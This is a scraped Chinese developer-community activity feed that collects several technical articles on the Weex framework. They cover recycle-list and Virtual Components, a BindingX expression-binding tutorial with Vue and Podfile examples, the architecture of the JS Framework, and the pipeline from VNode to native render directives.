以 Vue 为例,它提供了单文件组件的语法,其中 v-bindv-forv-if 之类的特殊属性(模板指令),以及 {{}} 中的数据绑定都是描述渲染逻辑的,这些特殊语法如果用在 recycle-list 里,将会被编译工具编译成 Weex 支持的原生渲染指令。这层渲染指令是面向客户端的渲染行为设计的,是原生渲染器和 JS Framework 之间的约定,可以对接到 Vue 和 Rax 等多个上层框架,语法基本上都是一一对应的。具体的语法规则,可以参考 Implementation.md#模板语法

Vue 里的渲染逻辑是声明式的写在模板里的,因此可以很容易的编译成 Weex 的原生渲染指令,整个转换过程可以融入到现有的编译工具中处理,对上层开发者透明,基本上对开发过程无影响,也不影响原有功能。在 Rax/React 的渲染函数中,标签语法可以使用 JSX 编写,但是模板的渲染规则(循环和条件)仍然由 JS 脚本来控制,是命令式的而不是声明式的,很难编译成静态的描述,要想使用长列表的复用功能,需要对开发时的写法做特殊约定,或者使用特殊的渲染流程控制组件

客户端根据数据渲染模板

客户端拿到了数据和模板以后,在内部建立起 Watcher 和 Updater 的更新机制,由数据驱动模板的渲染。在最初渲染时只渲染屏幕内呈现出来的节点。

图片描述

当列表向下滚动时,回收掉上方不在屏幕内的模板,并不销毁而是将其中的数据清空。当列表下方需要渲染新的数据时,会取出回收的空模板,注入数据渲染出真实节点,然后追加到列表下方。列表向上滚动时的原理是一样的,为了保障列表滚动的流畅,也会渲染屏幕上下方扩展区域内的节点。无论真实的数据有多少条,真实渲染的只有可滚动区域内的节点,这样不仅可以加快首屏的渲染速度,内存的占用量也不会随着列表长度大幅增长。

由于我只是个前端开发,对于客户端里的底层细节就不在这里班门弄斧了,期待客户端开发者再详细介绍一下这一部分。

使用 Virtual Component 管理组件状态

想让客户端只根据模板和数据就能渲染出来节点,看起来只有函数式组件才可以做到,也就是要求组件必须是不含内部状态的,然而实际应用中绝大多数组件都含有内部状态的,只做到这一步是远远不够的。

对于包含了状态的组件,渲染过程就比较复杂了,因为组件内部状态的处理逻辑(data,watch, computed)都在前端中,然而模板和数据都已经发给客户端处理了,所以需要经过多个回合的通信来解决状态同步问题(详细处理过程可以参考 Implementation.md#渲染过程)。

为了实现可复用的原生组件,在前端框架中引入了 Virtual Component TemplateVirtual Component 这两个概念:

图片描述

在渲染的过程中,如果发现某个组件用在了 <recycle-list> 里,就不再走之前的处理逻辑,而是创建一个 Virtual Component Template,并且不初始化任何状态(data,watch, computed)、不绑定生命周期,但是会初始化自定义事件的功能。渲染组件时不执行 render 函数,而是执行定制的 @render 函数生成带有原生渲染指令的模板结构,这个结构将一次性发给客户端,后续不会再修改。

在创建 Virtual Component Template 时,会监听客户端原生组件的 create 生命周期钩子,当客户端派发了 create 的时候,才会真正的开始创建只含状态不含节点的 Virtual Component。虚拟组件模板只有一份,但是从同一份模板创建出的 Virtual Component 会有多个,与客户端发送的 create 钩子的次数有关,与数据有关。另外,由于事件是绑定在节点上的,原生 UI 捕获到的事件只会派发给 Virtual Component Template,然后再找到相应的 Virtual Component 并以其为作用域执行事件处理函数。

Virtual Component 内部只管理数据,即使数据有变动也不会触发渲染,而是调用特殊接口向客户端更新组件的内部状态,由客户端根据新数据更新组件的 UI。在创建 Virtual Component 时,会监听客户端原生组件的 attachdetachupdatesyncState 生命周期,生命周期的派发有客户端来控制,语义和前端框架略有差异

题外话

Weex 是个开源项目,是一个社区项目,分享经验、贡献代码、贡献想法、修订文档都算是为开源项目贡献力量,我相信有许多开发者都使用过 Weex,也踩过一些坑,积累了实践经验,也希望大家能多多分享,一起参与改善 Weex,让它变得更强大用起来更顺手。

查看原文

赞 15 收藏 12 评论 6

zwwill_木羽 关注了用户 · 2018-03-09

toBeTheLight @tobethelight

熟练掌握 TS(0.5/1)
学习经济学(1/1)
学习数学知识(0/n)
学习编译原理(0/1)
文笔更好一些(1/1)

关注 26528

zwwill_木羽 发布了文章 · 2018-03-09

Weex BindingX 尝鲜

图片描述

前言

三月初,阿里巴巴开源的一套基于 Weex、React Native 的富交互解决方案 「BindingX」。提供了一种称之为 「Expression Binding」 的机制可以在 Weex、React Native 上让手势等复杂交互操作以60fps的帧率流畅执行,而不会导致卡顿,因而带来了更优秀的用户体验。

背景

听上去「高大上」,那为啥要造这个轮子呢?

这就得从源头说起,他到底解决了什么问题。

我们知道,Weex 和 React Native 同样都是三层结构,「 JS 层、 Native 层、 Bridge 层」,Native 层负责视觉绘制、事件收集,JS 层负责视觉控制、事件处理,Bridge 层是 JS 层和 Native 层的沟通桥梁,负责指令「翻译」。以 Weex 为例:

想让 Native 层做一些复杂的交互操作时,JS 层就需要不停得处理从 Native 层收集来的事件然后作出「及时」响应,如果响应「不及时」就会导致视觉卡顿。

怎么样才算是「及时」呢?

我们常说 60fps 帧率是流畅的基础,这就意味着,一次有效的刷新需要在 1/60 s 内完成,如果 JS 层从事件接受、处理、回馈到 Native 绘制新的视图完成超过了 16.67ms 将会出现「视觉卡顿」。

另外,即使每一次更新都可以完全控制在 16.67ms 内,大量的通讯操作也会消耗掉过多的 CPU,以至于加大了 Crash 的风险

如果不突破这层瓶颈,此类技术将很难达到一个新的高度。

BindingX 就是解决这个问题的。

原理

BindingX 提出的 「Expression Binding」 将具体的手势控制行为以 「表达式」 的方式传递给 Native,监控「被绑定元素」上发生的手势操作并输出过程中横向「x」和纵向「y」的偏移量,因此我们即可将「x,y」作为表达式「f(x),f(y)」的入参,针对性的对某一目标元素的样式进行「绑定变化」。

而这所以操作都是在 Native 层独立完成的,大大减小了 JS 层和 Bridge 层的压力。

「无 Binding 模式」

「Binding 模式」

表达式

表达式,是由数字、运算符、变量等以能求得有意义数值的字符串。譬如, x\*3+10 就是一个表达式,当x被赋值时,整个表达式就会有一个明确的结果。通过表达式,我们就可以描述一个具体的交互行为,比如我们希望x从0变化到100时,透明度能从1变化到0.5,那么表达式可以描述为: f(alpha) = 1-(x/100)*0.5 也可以是 f(alpha) = 1-x/200 只不过第一种表达式更直白。

下面举一个简单的例子。

/* 简码 */
bindingx.bind({
      anchor:foo_view.ref  ,                    //==> 事件的触发者
      eventType:'pan',                          //==> 事件类型
      props: [
          {
            element:foo_view.ref,               //==> 要改变的视图的引用或者id
            property:'transform.translateX',    //==> 要改变的属性
            expression:'x+0'                    //==> 表达式
          }
        ]
    });

就这么简单,几行代码即可绑定 foo_view 实现视图随手势移动的交互。当然复杂的也有,只不过都是由这么一个个小的交互堆积而成的。

除了基本的四则运算外,还支持三元运算符、数学函数等高级语法,基本可以满足绝大部分的场景。

事件类型

前面的例子中用到了 pan 手势,除手势外,BindingX 还支持「列表的滚动 scroll」、「动画 timing」甚至是「陀螺仪感 orientation」,每种事件类型使用方式大致相同,也有注意点,详细请参阅《bindingx 官方文档》

Do it

怎么样能快速体验呢?

跟上我的脚步

playground

官方虽然也提供了 试验田 https://alibaba.github.io/bindingx/playground,但语法均为 Rax 但 DSL,并不少 Weex 对外的 Vue 版本,我们无法在线编辑查看效果,只能使用阿里系App「如淘宝、闲鱼、飞猪」扫码体验效果。

这些都不是我们想要的。

当然方法总是有的。

直接将 BindingX 的官方代码 clone 下来,上面有支持 Vue 版本的 Weex Playground。

bindingx/weex/playground/[ios|android]

ios 和 android 选一个用工具安装到自己的手机上。此处就不多解释了,不会的问下 google,或者下方留言。

使用 http://dotwe.org/vue/ 在线编辑,扫码看效果。

给大家分享几个 Vue 版本的 demo。

http://dotwe.org/vue/e50f76a6c13337b6fa4201a045c5dc0c

http://dotwe.org/vue/2dff486956044ea59b3d38a2cf20b506

http://dotwe.org/vue/64998432f2a249f5cb35b4de0040526d

http://dotwe.org/vue/cd942c4bee9c4b7bcceda4e3aaf94c70

严选 demo 引入 BindingX

这是很早以前的一个小 Demo,感兴趣的可以 star 一下
https://github.com/zwwill/yanxuan-weex-demo

下面我基于严选的 Demo 进行的小试用。

升级 ios platform

要想使用 BindingX 插件,就必须使自己的 platform 支持。方法很简单,只需要将 platforms/ios/Podfile 进行升级修改即可。

source 'git@github.com/CocoaPods/Specs.git'
platform :ios, '8.0'                                    #最低8.0
#inhibit_all_warnings!

def common
    pod 'WeexSDK', '0.17.0'                         #升级至 0.17.0
    pod 'Weexplugin', :path=>'./Weexplugin/'
    pod 'WXDevtool'
    pod 'SDWebImage', '3.7.5'
    pod 'SocketRocket', '0.4.2'
    pod 'BindingX'                                     #增加 BindingX
end

target 'WeexDemo' do
    common
end

target 'WeexUITestDemo' do
    common
end

随后执行一遍 pod install 即可安装成功。如出现错误提示,按提示 fix 掉即可。

小试牛刀

Vue 的引入方式不同于 Rax,需要使用 weex.requireModule() API。

<template>
    <div class="wrapper">
        <image ref="headerBg" resize="cover" data-original="http://cdn.zwwill.com/yanxuan/imgs/bg5.png"></image>
        <scroller ref="contentScroller">
            <div>
                <!-- 省略非关键代码 -->
            </div>
            <div class="fbs">
                <!-- 省略非关键代码 -->
            </div>
        </scroller>
    </div>
</template>

<script>
    const binding = weex.requireModule('bindingx');    //引入 bindingx
    export default {
        mounted(){
            this.headerBgBinding();
        },
        beforeDestroy(){
            this.headerBgBindingDestory();
        },
        methods: {
            headerBgBinding(){
                let self = this,
                    scroller = self.$refs.contentScroller.ref,
                    headerBg = self.$refs.headerBg.ref;
                    
                let bindingResult = binding && binding.bind({
                    eventType:'scroll',
                    anchor:scroller,
                    props:[
                        {
                            element:headerBg,
                            property:'transform.scale',
                            expression:{
                                origin:'y<0?(1-y/500):(1+y/500)'
                            }
                        },
                        {
                            element:headerBg,
                            property:'transform.translateY',
                            expression:{
                                origin:'-y/2'
                            }
                        }
                    ]
                },function(e){
                });
                self.gesToken = bindingResult.token;
            }
            headerBgBindingDestory(){
                let self = this;
                if(self.gesToken != 0) {
                    binding.unbind({
                      eventType:'scroll',
                      token:self.gesToken
                    })
                    self.gesToken = 0;
                  }
            }
        }
    }
</script>

实现的效果就是最常见的个人信息页,title 背景随着滚动事件变换大小。

效果动图 http://cdn.zwwill.com/yanxuan/resource/bindingx2.gif

写在最后

Weex 有了 BindingX 如虎添翼。效率更高性!能更稳定!同期开源的还有 GCanvas 也是一把神器。

近期工作繁重,通宵写文章,如发现文章残瑕处,敬请谅解!

相关链接

作者: 木羽 zwwill
首发地址:https://github.com/zwwill/blog/issues/20
查看原文

赞 21 收藏 25 评论 1

zwwill_木羽 赞了文章 · 2018-03-02

详细介绍 Weex 的 JS Framework

很久以前,我写过两篇文章(《Weex 框架中 JS Framework 的结构》,《详解 Weex JS Framework 的编译过程》)介绍过 JS Framework。但是文章写于 2016 年 8 月份,这都是一年半以前的事了,说是“详解”其实解释得并不详细,而且是基于旧版 .we 框架写的,DSL 和底层框架各部分的功能解耦得的并不是很清楚。这一年多以来 JS Framework 已经有了很大的变化,不仅支持了 Vue 和 Rax,原生容器和底层接口也做了大量改造,这里再重新介绍一遍。

在 Weex 框架中的位置

Weex 是一个既支持多个前端框架又能跨平台渲染的框架,JS Framework 介于前端框架和原生渲染引擎之间,处于承上启下的位置,也是跨框架跨平台的关键。无论你使用的是 Vue 还是 Rax,无论是渲染在 Android 还是 iOS,JS Framework 的代码都会运行到(如果是在浏览器和 WebView 里运行,则不依赖 JS Framework)。

js framework position

像 Vue 和 Rax 这类前端框架虽然内部的渲染机制、Virtual DOM 的结构都是不同的,但是都是用来描述页面结构以及开发范式的,对 Weex 而言只属于语法层,或者称之为 DSL (Domain Specific Language)。无论前端框架里数据管理和组件管理的策略是什么样的,它们最终都将调用 JS Framework 提供的接口来调用原生功能并且渲染真实 UI。底层渲染引擎中也不必关心上层框架中组件化的语法和更新策略是怎样的,只需要处理 JS Framework 中统一定义的节点结构和渲染指令。多了这么一层抽象,有利于标准的统一,也使得跨框架和跨平台成为了可能。

图虽然这么画,但是大部分人并不区分得这么细,喜欢把 Vue 和 Rax 以及下边这一层放一起称为 JS Framework。

主要功能

如果将 JS Framework 的功能进一步拆解,可以分为如下几个部分:

  • 适配前端框架
  • 构建渲染指令树
  • JS-Native 通信
  • JS Service
  • 准备环境接口

适配前端框架

前端框架在 Weex 和浏览器中的执行过程不一样,这个应该不难理解。如何让一个前端框架运行在 Weex 平台上,是 JS Framework 的一个关键功能。

以 Vue.js 为例,在浏览器上运行一个页面大概分这么几个步骤:首先要准备好页面容器,可以是浏览器或者是 WebView,容器里提供了标准的 Web API。然后给页面容器传入一个地址,通过这个地址最终获取到一个 HTML 文件,然后解析这个 HTML 文件,加载并执行其中的脚本。想要正确的渲染,应该首先加载执行 Vue.js 框架的代码,向浏览器环境中添加 Vue 这个变量,然后创建好挂载点的 DOM 元素,最后执行页面代码,从入口组件开始,层层渲染好再挂载到配置的挂载点上去。

在 Weex 里的执行过程也比较类似,不过 Weex 页面对应的是一个 js 文件,不是 HTML 文件,而且不需要自行引入 Vue.js 框架的代码,也不需要设置挂载点。过程大概是这样的:首先初始化好 Weex 容器,这个过程中会初始化 JS Framework,Vue.js 的代码也包含在了其中。然后给 Weex 容器传入页面地址,通过这个地址最终获取到一个 js 文件,客户端会调用 createInstance 来创建页面,也提供了刷新页面和销毁页面的接口。大致的渲染行为和浏览器一致,但是和浏览器的调用方式不一样,前端框架中至少要适配客户端打开页面、销毁页面(push、pop)的行为才可以在 Weex 中运行。

js framework apis

在 JS Framework 里提供了如上图所示的接口来实现前端框架的对接。图左侧的四个接口与页面功能有关,分别用于获取页面节点、监听客户端的任务、注册组件、注册模块,目前这些功能都已经转移到 JS Framework 内部,在前端框架里都是可选的,有特殊处理逻辑时才需要实现。图右侧的四个接口与页面的生命周期有关,分别会在页面初始化、创建、刷新、销毁时调用,其中只有 createInstance 是必须提供的,其他也都是可选的(在新的 Sandbox 方案中,createInstance 已经改成了 createInstanceContext)。详细的初始化和渲染过程会在后续章节里展开。

构建渲染指令树

不同的前端框架里 Virtual DOM 的结构、patch 的方式都是不同的,这也反应了它们开发理念和优化策略的不同,但是最终,在浏览器上它们都使用一致的 DOM API 把 Virtual DOM 转换成真实的 HTMLElement。在 Weex 里的逻辑也是类似的,只是在最后一步生成真实元素的过程中,不使用原生 DOM API,而是使用 JS Framework 里定义的一套 Weex DOM API 将操作转化成渲染指令发给客户端。

patch virtual dom

JS Framework 提供的 Weex DOM API 和浏览器提供的 DOM API 功能基本一致,在 Vue 和 Rax 内部对这些接口都做了适配,针对 Weex 和浏览器平台调用不同的接口就可以实现跨平台渲染。

此外 DOM 接口的设计相当复杂,背负了大量的历史包袱,也不是所有特性都适合移动端。JS Framework 里将这些接口做了大量简化,借鉴了 W3C 的标准,只保留了其中最常用到的一部分。目前的状态是够用、精简高效、和 W3C 标准有很多差异,但是已经成为 Vue 和 Rax 渲染原生 UI 的事实标准,后续还会重新设计这些接口,使其变得更标准一些。JS Framework 里 DOM 结构的关系如下图所示:

Weex DOM

前端框架调用这些接口会在 JS Framework 中构建一颗树,这颗树中的节点不包含复杂的状态和绑定信息,能够序列化转换成 JSON 格式的渲染指令发送给客户端。这棵树曾经有过很多名字:Virtual DOM Tree、Native DOM Tree,我觉的其实它应该算是一颗 “Render Directive Tree”,也就是渲染指令树。叫什么无所谓了,反正它就是 JS Framework 内部的一颗与 DOM 很像的树。

这颗树的层次结构和原生 UI 的层次结构是一致的,当前端的节点有更新时,这棵树也会跟着更新,然后把更新结果以渲染指令的形式发送给客户端。这棵树并不计算布局,也没有什么副作用,操作也都是很高效的,基本都是 O(1) 级别,偶尔有些 O(n) 的操作会遍历同层兄弟节点或者上溯找到根节点,不会遍历整棵树。

JS-Native 通信

在开发页面过程中,除了节点的渲染以外,还有原生模块的调用、事件绑定、回调等功能,这些功能都依赖于 js 和 native 之间的通信来实现。

js-native communication

首先,页面的 js 代码是运行在 js 线程上的,然而原生组件的绘制、事件的捕获都发生在 UI 线程。在这两个线程之间的通信用的是 callNativecallJS 这两个底层接口(现在已经扩展到了很多个),它们默认都是异步的,在 JS Framework 和原生渲染器内部都基于这两个方法做了各种封装。

callNative 是由客户端向 JS 执行环境中注入的接口,提供给 JS Framework 调用,界面的节点(上文提到的渲染指令树)、模块调用的方法和参数都是通过这个接口发送给客户端的。为了减少调用接口时的开销,其实现在已经开了更多更直接的通信接口,其中有些接口还支持同步调用(支持返回值),它们在原理上都和 callNative 是一样的。

callJS 是由 JS Framework 实现的,并且也注入到了执行环境中,提供给客户端调用。事件的派发、模块的回调函数都是通过这个接口通知到 JS Framework,然后再将其传递给上层前端框架。

JS Service

Weex 是一个多页面的框架,每个页面的 js bundle 都在一个独立的环境里运行,不同的 Weex 页面对应到浏览器上就相当于不同的“标签页”,普通的 js 库没办法实现在多个页面之间实现状态共享,也很难实现跨页通信。

在 JS Framework 中实现了 JS Service 的功能,主要就是用来解决跨页面复用和状态共享的问题的,例如 BroadcastChannel 就是基于 JS Service 实现的,它可以在多个 Weex 页面之间通信。

准备环境接口

由于 Weex 运行环境和浏览器环境有很大差异,在 JS Framework 里还对一些环境变量做了封装,主要是为了解决解决原生环境里的兼容问题,底层使用渲染引擎提供的接口。主要的改动点是:

  • console: 原生提供了 nativeLog 接口,将其封装成前端熟悉的 console.xxx 并可以控制日志的输出级别。
  • timer: 原生环境里 timer 接口不全,名称和参数不一致。目前来看有了原生 C/C++ 实现的 timer 后,这一层可以移除。
  • freeze: 冻结当前环境里全局变量的原型链(如 Array.prototype)。

另外还有一些 ployfill:PromiseArary.fromObject.assignObject.setPrototypeOf 等。

这一层里的东西可以说都是用来“填坑”的,也是与环境有关 Bug 的高发地带,如果你只看代码的话会觉得莫名奇妙,但是它很可能解决了某些版本某个环境中的某个神奇的问题,也有可能触发了一个更神奇的问题。随着对 JS 引擎本身的优化和定制越来越多,这一层代码可以越来越少,最终会全部移除掉。

执行过程

上面是用空间角度介绍了 JS Framework 里包含了哪些部分,接下来从时间角度介绍一下某些功能在 JS Framework 里的处理流程。

框架初始化

JS Framework 以及 Vue 和 Rax 的代码都是内置在了 Weex SDK 里的,随着 Weex SDK 一起初始化。SDK 的初始化一般在 App 启动时就已经完成了,只会执行一次。初始化过程中与 JS Framework 有关的是如下这三个操作:

  1. 初始化 JS 引擎,准备好 JS 执行环境,向其中注册一些变量和接口,如 WXEnvironmentcallNative
  2. 执行 JS Framework 的代码
  3. 注册原生组件和原生模块

针对第二步,执行 JS Framework 的代码的过程又可以分成如下几个步骤:

  1. 注册上层 DSL 框架,如 Vue 和 Rax。这个过程只是告诉 JS Framework 有哪些 DSL 可用,适配它们提供的接口,如 initcreateInstance,但是不会执行前端框架里的逻辑。
  2. 初始化环境变量,并且会将原生对象的原型链冻结,此时也会注册内置的 JS Service,如 BroadcastChannel
  3. 如果 DSL 框架里实现了 init 接口,会在此时调用。
  4. 向全局环境中注入可供客户端调用的接口,如 callJScreateInstanceregisterComponents,调用这些接口会同时触发 DSL 中相应的接口。

再回顾看这两个过程,可以发现原生的组件和模块是注册进来的,DSL 也是注册进来的,Weex 做的比较灵活,组件模块是可插拔的,DSL 框架也是可插拔的,有很强的扩展能力。

JS Bundle 的执行过程

在初始化好 Weex SDK 之后,就可以开始渲染页面了。通常 Weex 的一个页面对应了一个 js bundle 文件,页面的渲染过程也是加载并执行 js bundle 的过程,大概的步骤如下图所示:

execute js bundle

首先是调用原生渲染引擎里提供的接口来加载执行 js bundle,在 Android 上是 renderByUrl,在 iOS 上是 renderWithURL。在得到了 js bundle 的代码之后,会继续执行 SDK 里的原生 createInstance 方法,给当前页面生成一个唯一 id,并且把代码和一些配置项传递给 JS Framework 提供的 createInstance 方法。

在 JS Framework 接收到页面代码之后,会判断其中使用的 DSL 的类型(Vue 或者 Rax),然后找到相应的框架,执行 createInstanceContext 创建页面所需要的环境变量。

create instance

在旧的方案中,JS Framework 会调用 runInContex 函数在特定的环境中执行 js 代码,内部基于 new Function 实现。在新的 Sandbox 方案中,js bundle 的代码不再发给 JS Framework,也不再使用 new Function,而是由客户端直接执行 js 代码。

页面的渲染

Weex 里页面的渲染过程和浏览器的渲染过程类似,整体可以分为【创建前端组件】-> 【构建 Virtual DOM】->【生成“真实” DOM】->【发送渲染指令】->【绘制原生 UI】这五个步骤。前两个步骤发生在前端框架中,第三和第四个步骤在 JS Framework 中处理,最后一步是由原生渲染引擎实现的。下图描绘了页面渲染的大致流程:

render process

创建前端组件

以 Vue.js 为例,页面都是以组件化的形式开发的,整个页面可以划分成多个层层嵌套和平铺的组件。Vue 框架在执行渲染前,会先根据开发时编写的模板创建相应的组件实例,可以称为 Vue Component,它包含了组件的内部数据、生命周期以及 render 函数等。

如果给同一个模板传入多条数据,就会生成多个组件实例,这可以算是组件的复用。如上图所示,假如有一个组件模板和两条数据,渲染时会创建两个 Vue Component 的实例,每个组件实例的内部状态是不一样的。

构建 Virtual DOM

Vue Component 的渲染过程,可以简单理解为组件实例执行 render 函数生成 VNode 节点树的过程,也就是构建 Virtual DOM 的生成过程。自定义的组件在这个过程中被展开成了平台支持的节点,例如图中的 VNode 节点都是和平台提供的原生节点一一对应的,它的类型必须在 Weex 支持的原生组件范围内。

生成“真实” DOM

以上过程在 Weex 和浏览器里都是完全一样的,从生成真实 DOM 这一步开始,Weex 使用了不同的渲染方式。前面提到过 JS Framework 中提供了和 DOM 接口类似的 Weex DOM API,在 Vue 里会使用这些接口将 VNode 渲染生成适用于 Weex 平台的 Element 对象,和 DOM 很像,但并不是“真实”的 DOM。

发送渲染指令

在 JS Framework 内部和客户端渲染引擎约定了一系列的指令接口,对应了一个原子的 DOM 操作,如 addElementremoveElementupdateAttrsupdateStyle 等。JS Framework 使用这些接口将自己内部构建的 Element 节点树以渲染指令的形式发给客户端。

绘制原生 UI

客户端接收 JS Framework 发送的渲染指令,创建相应的原生组件,最终调用系统提供的接口绘制原生 UI。具体细节这里就不展开了。

事件的响应过程

无论是在浏览器还是 Weex 里,事件都是由原生 UI 捕获的,然而事件处理函数都是写在前端里的,所以会有一个传递的过程。

fire event

如上图所示,如果在 Vue.js 里某个标签上绑定了事件,会在内部执行 addEventListener 给节点绑定事件,这个接口在 Weex 平台下调用的是 JS Framework 提供的 addEvent 方法向元素上添加事件,传递了事件类型和处理函数。JS Framework 不会立即向客户端发送添加事件的指令,而是把事件类型和处理函数记录下来,节点构建好以后再一起发给客户端,发送的节点中只包含了事件类型,不含事件处理函数。客户端在渲染节点时,如果发现节点上包含事件,就监听原生 UI 上的指定事件。

当原生 UI 监听到用户触发的事件以后,会派发 fireEvent 命令把节点的 ref、事件类型以及事件对象发给 JS Framework。JS Framework 根据 ref 和事件类型找到相应的事件处理函数,并且以事件对象 event 为参数执行事件处理函数。目前 Weex 里的事件模型相对比较简单,并不区分捕获阶段和冒泡阶段,而是只派发给触发了事件的节点,并不向上冒泡,类似 DOM 模型里 level 0 级别的事件。

上述过程里,事件只会绑定一次,但是很可能会触发多次,例如 touchmove 事件,在手指移动过程中,每秒可能会派发几十次,每次事件都对应了一次 fireEvent -> invokeHandler 的处理过程,很容易损伤性能,浏览器也是如此。针对这种情况,可以使用用 expression binding 来将事件处理函数转成表达式,在绑定事件时一起发给客户端,这样客户端在监听到原生事件以后可以直接解析并执行绑定的表达式,而不需要把事件再派发给前端。

写在最后

Weex 是一个跨端的技术,涉及的技术面比较多,只从前端或者客户端的某个角度去理解都是不全面的,本文只是以前端开发者的角度介绍了 Weex 其中一部分的功能。如果你对 Weex 的 JS Framework 有什么新的想法和建议,欢迎赐教;对 Weex 有使用心得或者踩坑经历,也欢迎分享。

查看原文

赞 30 收藏 38 评论 2

zwwill_木羽 赞了文章 · 2018-01-31

详解 Weex 页面的渲染过程

这篇文章介绍了一个 Weex 页面的渲染过程,涉及很多框架内部的细节。

“哟”

图片描述

在线例子,使用 Weex Playground 扫码即可预览。

这是一个使用 Vue.js 2.x 语法写的一个小例子,极其简单,就一个字,可以借助 Weex 在移动端中渲染生成原生组件。

这也是实现文字水平垂直居中的最简例子。

源代码

组件代码:

<!-- yo.vue -->
<template>
  <div style="justify-content:center;">
    <text class="freestyle">哟</text>
  </div>
</template>

<style scoped>
  .freestyle {
    text-align: center;
    font-size: 200px;
  }
</style>

除了组件代码以外,还需要一个入口文件指定挂载点并触发渲染:

// entry.js
import Vue from 'vue'
import Yo from 'yo.vue'

Yo.el = '#root'
new Vue(Yo)

编译

.vue 文件是无法被直接执行的,必须要编译成 .js 格式的文件才可以被 Web 或 Weex 平台执行。

.vue 文件通常可以分为三部分:<template><style><script><template> 是必须要有的,其他可选。其中 <script> 中的代码会保留或者被转换成 ES5 的语法;<style> 中的 CSS 在 Weex 平台上会被转换成 JSON 格式的样式声明,放到组件的定义中去;<template> 会被编译生成组件定义中 render 函数,可以理解为 render 函数的语法糖。

上述例子真实生成的代码是这样的,比较乱,把模块解开将其简化一下,和下边的代码等价:

// { "framework": "Vue" }

new Vue({
  el: '#root',
  style: {
    freestyle: {
      textAlign: 'center',
      fontSize: 200
    }
  },
  render: function (h) {
    return h(
      'div',
      { staticStyle: { justifyContent: 'center' } },
      [h(
        'text',
        { staticClass: ['freestyle'] },
        ['哟']
      )]
    )
  }
})

执行

初始化执行环境

要想在移动端上执行上述代码,就需要集成 Weex SDK。

在应用启动时就会初始化 Weex SDK,准备好执行环境,然后可以从网络或者本地加载打包好的 js 文件,调用 SDK 提供的 render 或者 renderWithURL 方法启动渲染。

图片描述

图中画出了 Weex SDK 的部分内容。其中 weex-vue-frameworkVue.js 是对等的,语法和内部机制都是一样的,只不过 Vue.js 最终创建的是 DOM 元素,而 weex-vue-framework 则是向原生端发送渲染指令,最终渲染生成的是原生组件。Weex Runtime 用来对接上层前端框架(如 Vue.js 和 Rax)并且负责和原生端之间的通信。Render Engine 就是针对各个端开发的原生渲染器,包含了 Weex 内置组件和模块的实现,可扩展。

在 Weex SDK 中也含有 weex-rax-framework,支持使用 Rax 作为其上层前端框架。 这个例子使用的是 Vue 2.0 的语法,为了简洁只画出了 weex-vue-framework。

创建组件

Weex 接收到 js 文件以后,会先检查它的格式,发现用的是 Vue 版本,就会调用 weex-vue-framework 中提供的 createInstance 方法创建实例。

代码里 new Vue() 会创建一个组件,通过其 render 函数创建 VNode 节点,并且触发相应的生命周期,如果指定了 el 属性也会执行挂载(mount),根据 Virtual DOM 在指定平台中生成真实的 UI 组件。

上述代码只有一个组件两个标签和一些简单样式,最终生成的 VNode 节点如下(数据结构有简化):

{
  tag: 'div',
  data: {
    staticStyle: { justifyContent: 'center' }
  },
  children: [{
    tag: 'text',
    data: {
      staticClass: 'freestyle'
    },
    context: {
      $options: {
        style: {
          freestyle: {
            textAlign: 'center',
            fontSize: 200
          }
        }
      }
    },
    children: [{
      tag: '',
      text: '哟'
    }]
  }]
}

Patch

再生成了 VNode 节点之后,还需要执行 “patch” 将虚拟 DOM 绘制成真实的 UI。在执行 patch 之前的过程都是 Web 和 Weex 通用的,所以文件格式、打包编译过程、模板指令、组件的生命周期、数据绑定等上层语法都是一致的。

然而由于目标执行环境不同(浏览器和 Weex 容器),在渲染真实 UI 的时候调用的接口也不同。

图片描述

在 Vue.js 内部,Web 平台和 Weex 平台中的 patch 方法是不同的,但是都是由 createPatchFunction 这个方法生成的,它支持传递 nodeOps 参数,在其中代理了所有 DOM 操作。在 Web 平台中 nodeOps 背后调用的都是 Web API,在 Weex 平台中则调用的是 Weex Runtime 提供的 Native DOM API。触发 DOM 渲染的入口一致,但是不同平台的实现方式不同。

例如 nodeOps 中的 createElement 的操作,在 Web 平台中实际调用的是 document.createElement(tagName) 这个接口(参考代码);而在 Weex 平台中实际执行的是 new renderer.Element(tagName)参考代码)。

发送渲染指令

上述页面的 patch 过程不仅限于 Vue,在 Rax 中也调用了 Weex 的 Native DOM API,实现原理是一致的。发送渲染指令的过程是所有上层前端框架通用的,上层使用 Vue 还是 Rax 对于原生渲染器而言是透明的,只是语法和构建 Virtual DOM 的方式有差异而已。

在上层前端框架调用了 Weex 平台提供的 Native DOM API 之后,Weex Runtime 会构建一个用于渲染的节点树,并将操作转换成渲染指令发送给客户端。

回顾文中提到的 “哟” 例子,上层框架调用了 Weex Runtime 中 createBodycreateElementappendChild 这三个接口,简单构建了一个用于渲染的节点树,最终生成了两条渲染指令。

图片描述

这些都属于 Weex SDK 内部的底层细节,上层应用的开发者,乃至前端框架开发者都不需要了解此格式,而且在迭代过程中很可能还会有调整。

图中的 Platform API 指的是原生环境提供的 API,这些 API 是 Weex SDK 中原生模块提供的,不是 js 中方法,也不是浏览器中的接口,是 Weex 内部不同模块之间的约定。

目前来说渲染指令是基于 JSON 描述的,具体格式大致如下所示:

{
  module: 'dom',
  method: 'createBody',
  args: [{
    ref: '_root',
    type: 'div',
    style: { justifyContent: 'center' }
  }]
}
{
  module: 'dom',
  method: 'addElement',
  args: ['_root', {
    ref: '2',
    type: 'text',
    attr: { value: '哟' },
    style: { textAlign: 'center', fontSize: 200 }
  }]
}

渲染原生组件

原生渲染器接收上层传来的渲染指令,并且逐步将其渲染成原生组件。

渲染指令分很多类,文章中提到的两个都是用来创建节点的,其他还有 moveElementupdateAttrsaddEvent 等各种指令。原生渲染器先是解析渲染指令的描述,然后分发给不同的模块。关于 UI 绘制的指令都属于 "dom" 模块中,在 SDK 内部有组件的实现,其他还有一些无界面的功能模块,如 stream 、navigator 等模块,也可以通过发送指令的方式调用。

图片描述

这个例子里,第一个 createBody 的指令就创建了一个 <div> 的原生组件,同时也将样式应用到了改组件上。第二个 addElement 指令向 <div> 中添加一个 <text> 组件,同时也声明了组件的样式和属性值。

上述过程不是分阶段一个一个执行的,而是可以实现“流式”渲染的,有可能第一个 <div> 的原生组件还没渲染好,<text> 的渲染指令又发过来了。当一个页面特别大时,能看到一块一块的内容逐渐渲染出来的过程。

总结

没啥可总结的,都是细节,而且是框架内部的细节,以后很可能还会变,对于如何写好 Weex 的代码没有半毛钱帮助。

查看原文

赞 17 收藏 49 评论 5

认证与成就

  • 获得 1120 次点赞
